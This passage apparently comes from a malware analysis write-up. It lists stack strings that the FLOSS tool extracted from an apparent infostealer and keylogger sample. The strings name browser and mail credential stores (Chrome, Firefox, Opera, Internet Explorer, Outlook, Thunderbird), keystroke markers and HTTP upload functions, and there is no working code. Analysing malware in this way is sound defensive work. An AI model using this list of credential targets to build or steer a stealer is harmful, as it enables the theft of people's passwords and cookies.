By using FLOSS, I managed to extract low-hanging fruits such as interesting stack strings, without delving too

much into:

FLOSS extracted 180 stackstrings
DEST
version.dll
0%%1r..\$
InternetCloseHandle
[System]
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NT\CurrentVersion
encrypted_key
c!!Bo

AAIA

:.6%

'H88p

POST

.exe

windir

.exe

Program Files
B>>|

[Enter]
image/jpeg
\DB1
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Internet Explorer\IntelliForms\Storage2

Host:

URL:
HttpOpenRequestA
cl.ini
Password
ri.ini

PATH
Clipboard
pass
httpRealm
PATH
ProductName
User :
__Vault

XhHp

FBIMG
\INetCookies
windir
browser
Opera

Aut:

[v)C

"N
\explorer.exe
G==z

1147*0

cBe"

\Main
fUUDT*T
[<-Del]

Pass:
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login

Poo*

WA t
Windows Explorer
image/png

x86

7CbI

7A00(

QSeA™

1$$H

im.jpeg

guid

Id:

Y77n
urlmon.dll
,4$8_0

rv.ini

U3sf
InternetReadFile
[Esc]
InternetConnectA
auth

_2016\

AA&
ProgramFiles
2N H

FBNG:

i''N

hostname
profiles.ini
+Q0$

I<(A
=j&&LZ661A?7~
www .

90+]C

Jw--7

Windows Explorer
_jbF°T

rg.ini

Chrome

im. jpeg

2008
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ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

rc.ini
.dll
F++V
1tX)i
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H)R>

2012
ProgramFiles
x((Pz

x64

ACAA

USERNAME

t,, X.

e

gk99r

Pass:

='9-6d

_55j

AaAA

MS-WAPI-
CurrentVersion
t\ THBW

API-

Local State
2016

Texplor
.sqlite
Server:
Unknown

D<<x
wininet.dll
aAAWindows Explorer
Name:

Outlook Recovery
V22dN: :t
00.1ini
Thunderbird\
\explorer.exe
AaAAt

\Cookies

Sniff from:
HttpSendRequestA
.zip

ef#FA

\44h

M;;va

S11b?

\Opera Software\Opera Stable\lLogin Data
1pHP

aikwz

log.ini

user
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\Microsoft\Windows
chrome_child.dll
open

\Low

200 0K

AaAA

Firefox\

.exe

User:
InternetOpenA
Firefox

Install Directory
Recovery
\Current Session
ProgramFiles
URL:

User-Agent:

Url:

hc 82

AEFA

@J7<

; fD4~

[Tab]

\Firefox

Port:

Host:

Unknown

.dll

User-Agent:

q//n

Firefox\

"N

Unknown

Nrzl

The final payload is waiting for reversers better than me :)
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